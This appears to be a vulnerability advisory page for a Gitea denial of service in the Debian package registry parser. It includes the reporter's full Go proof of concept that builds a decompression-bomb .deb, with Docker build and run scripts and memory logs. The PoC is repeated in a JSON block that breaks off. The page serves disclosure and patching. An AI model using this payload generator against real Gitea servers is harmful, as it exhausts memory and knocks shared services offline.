CVE-2026-56755: Gitea Denial of Service Vulnerability
HIGH
Advisory Identifier:
GHSA-6hm7-3pwj-22rm
CWE-409
Published
Advisory Summary
CVE-2026-56755 is a HIGH denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting Gitea libraries in the Go ecosystem. The issue involves denial of service (cpu & memory exhaustion) via o(n^2) string concatenation in debian package upload. Remediation is available by upgrading affected packages to version 1.27.0.
CVE-2026-56755 at a Glance
CVE Identifier
CVE-2026-56755
GHSA Identifier
GHSA-6hm7-3pwj-22rm
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product
Gitea
Package Ecosystem
Go
Published Date
Last Updated
How to Fix CVE-2026-56755
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
code.gitea.io/gitea
fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.gitea.io/giteaHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-56755, inspect your project dependencies for Gitea:
inspect dependencies for code.gitea.io/giteaAnalyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
Gitea's Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N²)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146).
### Root Cause
There are two distinct root causes that can be exploited independently or together.
**1. Unbounded decompression (decompression bomb)**
ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110
The resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`,
every byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded
`strings.Builder` via `io.TeeReader`:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150
There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.
**2. O(N²) string concatenation**
For each continuation line belonging to the Description field, the parser appends to a plain string with +=:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164
Because Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.
### Reproducing
I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.
This has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.
All the files go in the gitea file directory.
`cmd/poc/main.go`
```go
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"fmt"
"io"
"os"
"runtime"
"strings"
"time"
"github.com/blakesmith/ar"
debian_module "gitea.dev/modules/packages/debian"
)
// targetUncompressed is the desired size of the uncompressed control file.
// Set comfortably above the 12 GB container limit so the OOM kill is reliable.
const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB
// padLine is the filler field written after the required package fields.
// Using an unknown field key ("X") means the parser discards the value but the
// TeeReader still copies every byte into control.Builder — that is the bug.
// Unlike Description continuation lines this does NOT trigger the O(N²) path,
// so memory exhaustion is purely linear and fast.
const padLine = "X: a\n" // 5 bytes
// controlHeader is a minimal valid Debian control file preamble.
const controlHeader = "Package: evil\n" +
"Version: 1.0\n" +
"Architecture: amd64\n" +
"Maintainer: Evil Hacker <evil@evil.com>\n" +
"Description: exploit\n"
func printMem() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
// Print RSS-equivalent (HeapSys + StackSys covers most process memory).
fmt.Printf("[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\n",
float64(m.HeapAlloc)/1e9,
float64(m.Sys)/1e9,
float64(m.TotalAlloc)/1e9,
)
}
// buildControlTarGz streams a gzip-compressed tar archive containing a single
// "control" entry whose uncompressed size is ~targetUncompressed bytes.
// Writing is done in large batches so the loop itself is fast; gzip compresses
// the repetitive content to a fraction of its original size.
func buildControlTarGz(w io.Writer) error {
gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return fmt.Errorf("gzip.NewWriter: %w", err)
}
tw := tar.NewWriter(gzw)
numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)
totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))
if err := tw.WriteHeader(&tar.Header{
Name: "./control",
Mode: 0o644,
Size: totalSize,
ModTime: time.Now(),
Typeflag: tar.TypeReg,
}); err != nil {
return fmt.Errorf("tar WriteHeader: %w", err)
}
if _, err := tw.Write([]byte(controlHeader)); err != nil {
return fmt.Errorf("write header: %w", err)
}
// Write padLine in 5 MB batches (1 M lines × 5 bytes).
const batchLines = 1_000_000
batch := []byte(strings.Repeat(padLine, batchLines))
fullBatches := numPadLines / batchLines
remainder := numPadLines % batchLines
fmt.Printf(" Streaming %d lines (%.1f GB) through gzip...\n",
numPadLines, float64(totalSize)/1e9)
t0 := time.Now()
for i := range fullBatches {
if _, err := tw.Write(batch); err != nil {
return fmt.Errorf("batch write: %w", err)
}
if i%500 == 0 && i > 0 {
pct := float64(i) / float64(fullBatches) * 100
fmt.Printf(" ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())
}
}
if remainder > 0 {
if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {
return fmt.Errorf("remainder write: %w", err)
}
}
if err := tw.Close(); err != nil {
return fmt.Errorf("tar close: %w", err)
}
if err := gzw.Close(); err != nil {
return fmt.Errorf("gzip close: %w", err)
}
fmt.Printf(" Done in %.1fs\n", time.Since(t0).Seconds())
return nil
}
// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member
// is the bomb; data.tar.gz is empty.
func buildDeb(w io.Writer) error {
// Buffer control.tar.gz first so we know its compressed size for the ar header.
var ctrlBuf bytes.Buffer
fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")
if err := buildControlTarGz(&ctrlBuf); err != nil {
return err
}
ctrlBytes := ctrlBuf.Bytes()
fmt.Printf(" control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)
// Empty data.tar.gz
var dataBuf bytes.Buffer
dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)
tar.NewWriter(dgzw).Close()
dgzw.Close()
dataBytes := dataBuf.Bytes()
arw := ar.NewWriter(w)
if err := arw.WriteGlobalHeader(); err != nil {
return err
}
now := time.Now()
for _, member := range []struct {
name string
data []byte
}{
{"debian-binary", []byte("2.0\n")},
{"control.tar.gz", ctrlBytes},
{"data.tar.gz", dataBytes},
} {
if err := arw.WriteHeader(&ar.Header{
Name: member.name,
Size: int64(len(member.data)),
Mode: 0o644,
ModTime: now,
}); err != nil {
return fmt.Errorf("ar header %s: %w", member.name, err)
}
if _, err := arw.Write(member.data); err != nil {
return fmt.Errorf("ar write %s: %w", member.name, err)
}
}
return nil
}
func main() {
fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===")
fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9)
fmt.Printf("Container memory limit: 12 GB\n\n")
// Background goroutine prints memory stats every 2 s.
go func() {
for range time.Tick(2 * time.Second) {
printMem()
}
}()
// Phase 1 — create the payload and save it to a temp file.
// Writing to disk keeps the ~200 MB compressed payload out of the heap
// before we start the parse phase.
tmp, err := os.CreateTemp("", "evil-*.deb")
if err != nil {
fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)
os.Exit(1)
}
defer os.Remove(tmp.Name())
defer tmp.Close()
t0 := time.Now()
if err := buildDeb(tmp); err != nil {
fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)
os.Exit(1)
}
sz, _ := tmp.Seek(0, io.SeekCurrent)
fmt.Printf("\nPayload .deb on disk: %.2f MB (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())
// Phase 2 — call ParsePackage, mirroring UploadPackageFile at
// routers/api/packages/debian/debian.go:146.
// The TeeReader inside ParseControlFile (metadata.go:149) will copy the
// entire 15 GB decompressed stream into control.Builder, exhausting the
// 12 GB container limit and triggering an OOM kill.
fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")
fmt.Println(" Memory will grow until the container is OOM-killed.")
printMem()
if _, err := tmp.Seek(0, io.SeekStart); err != nil {
fmt.Fprintf(os.Stderr, "seek: %v\n", err)
os.Exit(1)
}
t1 := time.Now()
_, parseErr := debian_module.ParsePackage(tmp)
// We only reach here if ParsePackage returns before OOM (e.g. scanner error).
fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)
printMem()
}
```
`Dockerfile.poc`
```docker
FROM golang:1.26-bookworm AS builder
WORKDIR /src
# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian
# and github.com/blakesmith/ar via the existing go.mod/go.sum.
COPY . .
# Build only the PoC binary; ignore the rest of the tree.
RUN go build -o /poc ./cmd/poc/
# ── runtime image ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]
```
Now run the PoC in the Docker container with:
```bash
#!/usr/bin/env bash
set -euo pipefail
IMAGE=gitea-debian-poc
echo "=== Building Docker image ==="
docker build -f Dockerfile.poc -t "$IMAGE" .
echo ""
echo "=== Running PoC (memory limit: 12 GB) ==="
echo " The container will be OOM-killed once memory is exhausted."
echo ""
# --memory caps RSS; --memory-swap equal to --memory disables swap.
# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.
docker run --rm \
--memory=12g \
--memory-swap=12g \
--name gitea-poc \
"$IMAGE"
EXIT=$?
echo ""
if [ $EXIT -eq 137 ]; then
echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed."
else
echo "Container exited with code $EXIT."
fi
```
You will see the following when running the container (see the heap allocation growing towards the end):
```
=== Building Docker image ===
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 59.32MB
Step 1/7 : FROM golang:1.26-bookworm AS builder
---> eafdda676c2e
Step 2/7 : WORKDIR /src
---> Using cache
---> db52a8f73485
Step 3/7 : COPY . .
---> Using cache
---> 4caf57c6e889
Step 4/7 : RUN go build -o /poc ./cmd/poc/
---> Using cache
---> 286afcb05d0e
Step 5/7 : FROM debian:bookworm-slim
---> f54f5c8e2e12
Step 6/7 : COPY --from=builder /poc /poc
---> Using cache
---> d7d0b269df49
Step 7/7 : ENTRYPOINT ["/poc"]
---> Using cache
---> b233faaad561
Successfully built b233faaad561
Successfully tagged gitea-debian-poc:latest
=== Running PoC (memory limit: 12 GB) ===
The container will be OOM-killed once memory is exhausted.
=== Gitea Debian Parser — Decompression Bomb PoC ===
Target uncompressed control file size: 16.1 GB
Container memory limit: 12 GB
[phase 1] Generating control.tar.gz (compressed payload)...
Streaming 3221225450 lines (16.1 GB) through gzip...
[mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB
... 16% (2.1s)
... 31% (3.9s)
[mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB
... 47% (5.8s)
[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB
... 62% (7.4s)
[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB
... 78% (9.0s)
[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB
... 93% (10.8s)
Done in 11.5s
control.tar.gz compressed size: 83.07 MB
Payload .deb on disk: 83.07 MB (took 11.6s)
[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...
Memory will grow until the container is OOM-killed.
[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB
[mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB
[mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB
[mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB
[mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB
[mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB
[mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB
[mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB
[mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB
[mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB
[mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB
[mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB
[mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB
[mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB
[mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB
[mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB
[mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB
[mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB
[mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB
[mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB
[mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB
[mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB
[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB
[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB
[mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB
[mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB
[mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB
[mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB
[mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB
[mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB
[mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB
[mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB
[mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB
[mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GB
```
CVE-2026-56755 Affected Gitea Versions
1 component(s)
Fixed Versions:
1.27.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.gitea.io/gitea
|
Go |
< 1.27.0
|
1.27.0
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm
Gitea Source Repository
REPOSITORY
https://github.com/go-gitea/gitea/pull/38406
Gitea Source Repository
REPOSITORY
https://github.com/go-gitea/gitea/pull/38426
Security Fix Commit
FIX COMMIT
https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
Security Fix Commit
FIX COMMIT
https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf
Gitea Source Repository
REPOSITORY
https://github.com/go-gitea/gitea
Gitea Release
RELEASE
https://github.com/go-gitea/gitea/releases/tag/v1.27.0
Frequently Asked Questions
What is CVE-2026-56755?
CVE-2026-56755 is a security vulnerability in Gitea involving Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-56755?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What CWE is associated with CVE-2026-56755?
CVE-2026-56755 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check Go dependencies for CVE-2026-56755?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-6hm7-3pwj-22rm",
"modified" : "2026-07-21T20:24:09Z",
"published" : "2026-07-21T20:24:09Z",
"aliases" : [ "CVE-2026-56755" ],
"summary" : "Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload",
"details" : "Gitea's Debian package registry parser contains an unbounded decompression vulnerability in [ParseControlFile](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L140). When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at [modules/packages/debian/metadata.go:161](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/modules/packages/debian/metadata.go#L161) inside a loop, producing `O(N²)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at [routers/api/packages/debian/debian.go:146](https://github.com/go-gitea/gitea/blob/689ace1ce28fd74244b8aa335d9928cdbf6b22f9/routers/api/packages/debian/debian.go#L146).\n\n### Root Cause\n\nThere are two distinct root causes that can be exploited independently or together.\n\n**1. Unbounded decompression (decompression bomb)**\nParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110\n\nThe resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`,\nevery byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded\n`strings.Builder` via `io.TeeReader`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150\n\nThere is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.\n\n**2. O(N²) string concatenation**\nFor each continuation line belonging to the Description field, the parser appends to a plain string with +=:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164\n\nBecause Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.\n\n### Reproducing\nI have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with. \n\nThis has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.\n\nAll the files go in the gitea file directory. \n\n`cmd/poc/main.go`\n```go\npackage main\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/blakesmith/ar\"\n\n\tdebian_module \"gitea.dev/modules/packages/debian\"\n)\n\n// targetUncompressed is the desired size of the uncompressed control file.\n// Set comfortably above the 12 GB container limit so the OOM kill is reliable.\nconst targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB\n\n// padLine is the filler field written after the required package fields.\n// Using an unknown field key (\"X\") means the parser discards the value but the\n// TeeReader still copies every byte into control.Builder — that is the bug.\n// Unlike Description continuation lines this does NOT trigger the O(N²) path,\n// so memory exhaustion is purely linear and fast.\nconst padLine = \"X: a\\n\" // 5 bytes\n\n// controlHeader is a minimal valid Debian control file preamble.\nconst controlHeader = \"Package: evil\\n\" +\n\t\"Version: 1.0\\n\" +\n\t\"Architecture: amd64\\n\" +\n\t\"Maintainer: Evil Hacker <evil@evil.com>\\n\" +\n\t\"Description: exploit\\n\"\n\nfunc printMem() {\n\tvar m runtime.MemStats\n\truntime.ReadMemStats(&m)\n\t// Print RSS-equivalent (HeapSys + StackSys covers most process memory).\n\tfmt.Printf(\"[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\\n\",\n\t\tfloat64(m.HeapAlloc)/1e9,\n\t\tfloat64(m.Sys)/1e9,\n\t\tfloat64(m.TotalAlloc)/1e9,\n\t)\n}\n\n// buildControlTarGz streams a gzip-compressed tar archive containing a single\n// \"control\" entry whose uncompressed size is ~targetUncompressed bytes.\n// Writing is done in large batches so the loop itself is fast; gzip compresses\n// the repetitive content to a fraction of its original size.\nfunc buildControlTarGz(w io.Writer) error {\n\tgzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"gzip.NewWriter: %w\", err)\n\t}\n\ttw := tar.NewWriter(gzw)\n\n\tnumPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)\n\ttotalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))\n\n\tif err := tw.WriteHeader(&tar.Header{\n\t\tName: \"./control\",\n\t\tMode: 0o644,\n\t\tSize: totalSize,\n\t\tModTime: time.Now(),\n\t\tTypeflag: tar.TypeReg,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"tar WriteHeader: %w\", err)\n\t}\n\tif _, err := tw.Write([]byte(controlHeader)); err != nil {\n\t\treturn fmt.Errorf(\"write header: %w\", err)\n\t}\n\n\t// Write padLine in 5 MB batches (1 M lines × 5 bytes).\n\tconst batchLines = 1_000_000\n\tbatch := []byte(strings.Repeat(padLine, batchLines))\n\tfullBatches := numPadLines / batchLines\n\tremainder := numPadLines % batchLines\n\n\tfmt.Printf(\" Streaming %d lines (%.1f GB) through gzip...\\n\",\n\t\tnumPadLines, float64(totalSize)/1e9)\n\n\tt0 := time.Now()\n\tfor i := range fullBatches {\n\t\tif _, err := tw.Write(batch); err != nil {\n\t\t\treturn fmt.Errorf(\"batch write: %w\", err)\n\t\t}\n\t\tif i%500 == 0 && i > 0 {\n\t\t\tpct := float64(i) / float64(fullBatches) * 100\n\t\t\tfmt.Printf(\" ... %.0f%% (%.1fs)\\n\", pct, time.Since(t0).Seconds())\n\t\t}\n\t}\n\tif remainder > 0 {\n\t\tif _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {\n\t\t\treturn fmt.Errorf(\"remainder write: %w\", err)\n\t\t}\n\t}\n\n\tif err := tw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"tar close: %w\", err)\n\t}\n\tif err := gzw.Close(); err != nil {\n\t\treturn fmt.Errorf(\"gzip close: %w\", err)\n\t}\n\tfmt.Printf(\" Done in %.1fs\\n\", time.Since(t0).Seconds())\n\treturn nil\n}\n\n// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member\n// is the bomb; data.tar.gz is empty.\nfunc buildDeb(w io.Writer) error {\n\t// Buffer control.tar.gz first so we know its compressed size for the ar header.\n\tvar ctrlBuf bytes.Buffer\n\tfmt.Println(\"[phase 1] Generating control.tar.gz (compressed payload)...\")\n\tif err := buildControlTarGz(&ctrlBuf); err != nil {\n\t\treturn err\n\t}\n\tctrlBytes := ctrlBuf.Bytes()\n\tfmt.Printf(\" control.tar.gz compressed size: %.2f MB\\n\", float64(len(ctrlBytes))/1e6)\n\n\t// Empty data.tar.gz\n\tvar dataBuf bytes.Buffer\n\tdgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)\n\ttar.NewWriter(dgzw).Close()\n\tdgzw.Close()\n\tdataBytes := dataBuf.Bytes()\n\n\tarw := ar.NewWriter(w)\n\tif err := arw.WriteGlobalHeader(); err != nil {\n\t\treturn err\n\t}\n\tnow := time.Now()\n\n\tfor _, member := range []struct {\n\t\tname string\n\t\tdata []byte\n\t}{\n\t\t{\"debian-binary\", []byte(\"2.0\\n\")},\n\t\t{\"control.tar.gz\", ctrlBytes},\n\t\t{\"data.tar.gz\", dataBytes},\n\t} {\n\t\tif err := arw.WriteHeader(&ar.Header{\n\t\t\tName: member.name,\n\t\t\tSize: int64(len(member.data)),\n\t\t\tMode: 0o644,\n\t\t\tModTime: now,\n\t\t}); err != nil {\n\t\t\treturn fmt.Errorf(\"ar header %s: %w\", member.name, err)\n\t\t}\n\t\tif _, err := arw.Write(member.data); err != nil {\n\t\t\treturn fmt.Errorf(\"ar write %s: %w\", member.name, err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\tfmt.Println(\"=== Gitea Debian Parser — Decompression Bomb PoC ===\")\n\tfmt.Printf(\"Target uncompressed control file size: %.1f GB\\n\", float64(targetUncompressed)/1e9)\n\tfmt.Printf(\"Container memory limit: 12 GB\\n\\n\")\n\n\t// Background goroutine prints memory stats every 2 s.\n\tgo func() {\n\t\tfor range time.Tick(2 * time.Second) {\n\t\t\tprintMem()\n\t\t}\n\t}()\n\n\t// Phase 1 — create the payload and save it to a temp file.\n\t// Writing to disk keeps the ~200 MB compressed payload out of the heap\n\t// before we start the parse phase.\n\ttmp, err := os.CreateTemp(\"\", \"evil-*.deb\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"CreateTemp: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer os.Remove(tmp.Name())\n\tdefer tmp.Close()\n\n\tt0 := time.Now()\n\tif err := buildDeb(tmp); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"buildDeb: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tsz, _ := tmp.Seek(0, io.SeekCurrent)\n\tfmt.Printf(\"\\nPayload .deb on disk: %.2f MB (took %.1fs)\\n\\n\", float64(sz)/1e6, time.Since(t0).Seconds())\n\n\t// Phase 2 — call ParsePackage, mirroring UploadPackageFile at\n\t// routers/api/packages/debian/debian.go:146.\n\t// The TeeReader inside ParseControlFile (metadata.go:149) will copy the\n\t// entire 15 GB decompressed stream into control.Builder, exhausting the\n\t// 12 GB container limit and triggering an OOM kill.\n\tfmt.Println(\"[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\")\n\tfmt.Println(\" Memory will grow until the container is OOM-killed.\")\n\tprintMem()\n\n\tif _, err := tmp.Seek(0, io.SeekStart); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"seek: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\tt1 := time.Now()\n\t_, parseErr := debian_module.ParsePackage(tmp)\n\t// We only reach here if ParsePackage returns before OOM (e.g. scanner error).\n\tfmt.Printf(\"\\nParsePackage returned after %.1fs: %v\\n\", time.Since(t1).Seconds(), parseErr)\n\tprintMem()\n}\n```\n\n`Dockerfile.poc`\n```docker\nFROM golang:1.26-bookworm AS builder\n\nWORKDIR /src\n# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian\n# and github.com/blakesmith/ar via the existing go.mod/go.sum.\nCOPY . .\n\n# Build only the PoC binary; ignore the rest of the tree.\nRUN go build -o /poc ./cmd/poc/\n\n# ── runtime image 